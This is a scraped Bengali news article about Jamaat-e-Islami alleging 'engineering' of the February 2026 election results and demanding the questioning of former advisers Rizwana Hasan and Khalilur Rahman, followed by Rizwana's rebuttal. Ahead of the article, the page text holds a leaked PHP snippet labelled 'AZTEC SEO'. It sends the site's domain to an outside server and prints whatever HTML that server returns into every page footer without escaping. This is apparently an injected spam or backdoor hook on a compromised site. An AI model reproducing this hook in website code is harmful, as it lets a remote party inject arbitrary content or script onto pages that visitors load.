/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); জামায়াতের বিস্ফোরক অভিযোগ প্রসঙ্গে যা বললেন রিজওয়ানা | Dhaka Sky News

বিদেশি চুক্তি নিয়ে অন্তর্বর্তী সরকার আমাদের সঙ্গে আলোচনা করেনি: জামায়াত আমির

আগের সংবাদ

বেশিরভাগ পাম্পে উপচে পড়া ভিড়, মিলছে না তেল

পরের সংবাদ

জামায়াতের বিস্ফোরক অভিযোগ প্রসঙ্গে যা বললেন রিজওয়ানা

যুগান্তর প্রতিবেদন

প্রকাশিত: March 7, 2026 , 12:38 pm

ত্রয়োদশ জাতীয় সংসদ নির্বাচনের ফলাফলে ইঞ্জিনিয়ারিং করা হয়েছে- এমন অভিযোগ তুলে সাবেক অন্তর্বর্তী সরকারের উপদেষ্টা সৈয়দা রিজওয়ানা হাসান ও ড. খলিলুর রহমানকে জিজ্ঞাসাবাদ করার দাবি জানিয়েছে বাংলাদেশ জামায়াতে ইসলামী।
এ প্রসঙ্গে জামায়াতের সেক্রেটারি জেনারেল অধ্যাপক মিয়া গোলাম পরওয়ার বলেছেন, ১২ ফেব্রুয়ারির নির্বাচন সুষ্ঠু হলেও ফলাফল তৈরি ও ঘোষণায় মহা-ইঞ্জিনিয়ারিং হয়েছে। সাবেক উপদেষ্টার কথায় তা প্রমাণ হয়েছে। শুক্রবার ‘ইলেকশন ইঞ্জিনিয়ারিং’-এর অভিযোগে সাবেক অন্তর্বর্তী সরকারের উপদেষ্টা সৈয়দা রিজওয়ানা হাসান ও ড. খলিলুর রহমানের গ্রেফতারের দাবিতে এই কর্মসূচি পালন করে জামায়াত। এর আগে বৃহস্পতিবারও জামায়াতের নায়েবে আমির দুই উপদেষ্টার বিরুদ্ধে গুরুতর অভিযোগ আনেন। এসব অভিযোগ খন্ডন করেছেন সাবেক উপদেষ্টা রিজওয়ানা।
প্রসঙ্গত, অন্তর্বর্তী সরকারের সাবেক উপদেষ্টা সৈয়দা রিজওয়ানা হাসানের একটি মন্তব্যে রাজনৈতিক অঙ্গনে তোলপাড় চলছে। মঙ্গলবার বেসরকারি একটি টেলিভিশনে দেওয়া সাক্ষাৎকারে বর্তমান বিরোধী দলকে (জামায়াতে ইসলামী) নিয়ে উপস্থাপকের প্রশ্নের জবাবে তিনি বলেছেন, অন্তর্বর্তী সরকারের সময় নারীবিদ্বেষী ধর্মীয় উগ্রবাদী শক্তিকে মূলধারায় (মেইনস্ট্রিম) আসতে দেওয়া হয়নি। তার এ বক্তব্যের ভিডিও ক্লিপ এবং ফটোকার্ড সামাজিক যোগাযোগমাধ্যমে ভাইরাল হয়েছে।
বৃহস্পতিবার সকালে সামাজিক যোগাযোগমাধ্যমে মঙ্গলবারের বক্তব্যের ব্যাখ্যা দিয়েছেন রিজওয়ানা হাসান। তিনি বলেছেন, ‘আমার বক্তব্য খণ্ডিতভাবে প্রচার করে বিভ্রান্তি তৈরি করা হচ্ছে।’ অন্যদিকে খলিলুর রহমানের বক্তব্য জানতে যোগাযোগ করা হলেও এ প্রতিবেদন লেখা পর্যন্ত তার সাড়া মেলেনি।

রিজওয়ানা হাসান বলেন, ‘আমার বক্তব্যটা খণ্ডিত করে প্রচার করে বিভ্রান্তি তৈরি করা হচ্ছে।’ সাবেক উপদেষ্টা বলেন, ‘ওই সাক্ষাৎকারে কথা হচ্ছিল নারীর প্রতি উগ্রবাদ নিয়ে। সেখানে উপস্থাপকের প্রশ্ন ছিল-মাজারে হামলা, বাউলদের ওপর নির্যাতন এবং নারীদের নিয়ে নানা কটূক্তি হয়েছে। সেই সময় বিষয়গুলো আপনি কীভাবে দেখেছেন? অনেকেই বলেছে, সরকার উগ্রপন্থিদের সুযোগ দিয়েছে।’ জবাবে আমি বলেছি, যারা কটূক্তি করেছে, তাদের বিষয়ে নারীসমাজ যেমন প্রতিবাদ করেছে, তেমনই লিগাল নোটিশ দিয়েছে। সরকারও এ বিষয়ে কথা বলেছে। ফলে তারা (কটূক্তিকারীরা) ক্ষমা চেয়েছে। সেসব কটূক্তি করা শক্তি যেন মেইনস্ট্রিম (মানে সমাজে প্রাধান্য সৃষ্টিকারী) না হয়, সেটার বিষয়ে আমাদের (মানে নারীসমাজকে) কাজ করতে হবে। নারীসমাজ সেসব কটূক্তি করা শক্তিকে মেইনস্ট্রিম হতে দেয়নি।’ এখানে সরকারের কথা বলা হয়নি।
রিজওয়ানা হাসান আরও বলেন, ‘এখানে আমার বক্তব্যে নির্বাচনের কথাই তো আসে না। উপস্থাপক কথার মাঝখানে হঠাৎ নির্বাচনের কথা তুললে আমি বলেছি বিরোধী দলের যেটুকু নারীর ক্ষমতায়নের সঙ্গে সম্পৃক্ত, আমরা সেটা নিয়ে কাজ করব। আমি কোনো দলের নাম উচ্চারণও করিনি, আর বিরোধী দল তো অবশ্যই মেইনস্ট্রিম। সুতরাং যেটা বলার চেষ্টা করা হচ্ছে, তা তো অবান্তর। ভুল ব্যাখ্যা দিয়ে, দলের নাম দিয়ে প্রচার করছে, যা অনাবশ্যক বিভ্রান্তি তৈরি করছে।’
উল্লেখ্য, একটি বেসরকারি টেলিভিশনে মঙ্গলবার রাতে সাক্ষাৎকার দিয়েছেন রিজওয়ানা হাসান। সেখানে তিনি দাবি করেছেন, অন্তর্বর্তী সরকারের সময় ধর্মীয় উগ্রবাদী শক্তিকে মূলধারায় আসতে দেওয়া হয়নি। তিনি বলেন, সমাজে একটি শক্তি সব সময় নারীর সমান অধিকার ও ক্ষমতায়নের বিরুদ্ধে অবস্থান নেয়। এ সময়ে উপস্থাপক বলেন, সেই শক্তি বর্তমানে বিরোধী দলে আছে। জবাবে রিজওয়ানা হাসান বলেন, সেই শক্তির একটি অংশ রাজনীতিতেও সক্রিয় থাকতে পারে। তবে আমাদের কাজ ছিল যাতে তারা মূলধারায় (মেইনস্ট্রিম) আসতে না পারে এবং আমরা সেই কাজটা করতে পেরেছি।’ রিজওয়ানা হাসান আরও বলেন, ‘অন্তর্বর্তী সরকারের দায়িত্ব নেওয়ার পরপরই দেশজুড়ে নানা অস্থিরতা দেখা দেয়। সেসময় মাজারে হামলা, বাউলদের ওপর নির্যাতন এবং নারীদের নিয়ে কটূক্তির মতো ঘটনাও সামনে আসে। ৫ আগস্টের পর পরিস্থিতি আমাদের জন্য খুবই চাপের ছিল। একদিকে ছিল বিশৃঙ্খলা, অন্যদিকে আমাদের নিজেদের মূল্যবোধ। এ দুইয়ের মধ্যে ভারসাম্য রেখে পরিস্থিতি নিয়ন্ত্রণে আনতে হয়েছে।’
নারীবিদ্বেষী বক্তব্যের প্রসঙ্গে তিনি জানান, তার দীর্ঘ কর্মজীবনে এতটা নারীবিদ্বেষী ভাষা আগে শোনেননি। সামাজিক যোগাযোগমাধ্যমেও শুধু নারী হওয়ার কারণে তাকে নানা আক্রমণের মুখে পড়তে হয়েছে।
তিনি আরও বলেন, ‘অন্তর্বর্তী সরকারের সঙ্গে নারীবাদের কোনো বিরোধ ছিল না, বরং নারীর অধিকার রক্ষায় সরকার দুটি নতুন আইন করেছে। একটি পারিবারিক ক্ষেত্রে নারীর বিরুদ্ধে সহিংসতা সংক্রান্ত এবং অন্যটি কর্মক্ষেত্রে সহিংসতা প্রতিরোধে।’ তার মতে, উগ্রবাদী শক্তি সমাজে আগে থেকেই ছিল। বিভিন্ন সময় সুযোগ পেলেই তারা মাথাচাড়া দিয়ে ওঠে। তবে অন্তর্বর্তী সরকারের সময়ে তারা কোনো নীতিগত পরিবর্তন আনতে পারেনি। যারা নারীর অধিকার ও সমান অংশগ্রহণের বিরুদ্ধে অবস্থান নেয়, তাদের রাজনৈতিক শক্তি যেন মূলধারায় প্রভাব বিস্তার করতে না পারে, এটাই তাদের লক্ষ্য ছিল।
এই বক্তব্য প্রচারের পর বুধবার এটি অনেকেরই মুখেমুখে ছিল। এর ব্যাখ্যায় কেউ কেউ লিখেছেন, আবার অনেকে এ বিষয়ে ভিডিও কনটেন্ট বানিয়েছেন। তাদের এসব কনটেন্ট এবং লেখার মূল বক্তব্য ছিল অন্তর্বর্তী সরকার নির্বাচনে ইঞ্জিনিয়ারিং করে জামায়াতে ইসলামীকে হারিয়ে দিয়েছে।
এ বিষয়ে বৃহস্পতিবার সংবাদ সম্মেলন করে জামায়াত দাবি করেছে, এবারের নির্বাচনের ফলাফল নিয়ে ইঞ্জিনিয়ারিং হয়েছে। পরিকল্পিতভাবে নির্বাচন প্রভাবিত করে জামায়াতকে ‘মূলধারা’ থেকে দূরে রাখা হয়েছে। এ সময় তারা সাবেক নিরাপত্তা উপদেষ্টা বর্তমান পররাষ্ট্রমন্ত্রী খলিলুর রহমানকে অভিযুক্ত করে। বলা হয়, ষড়যন্ত্র করে বিএনপিকে ক্ষমতায় আসতে সহায়তা করায় তাকে গুরুত্বপূর্ণ মন্ত্রী করা হয়েছে।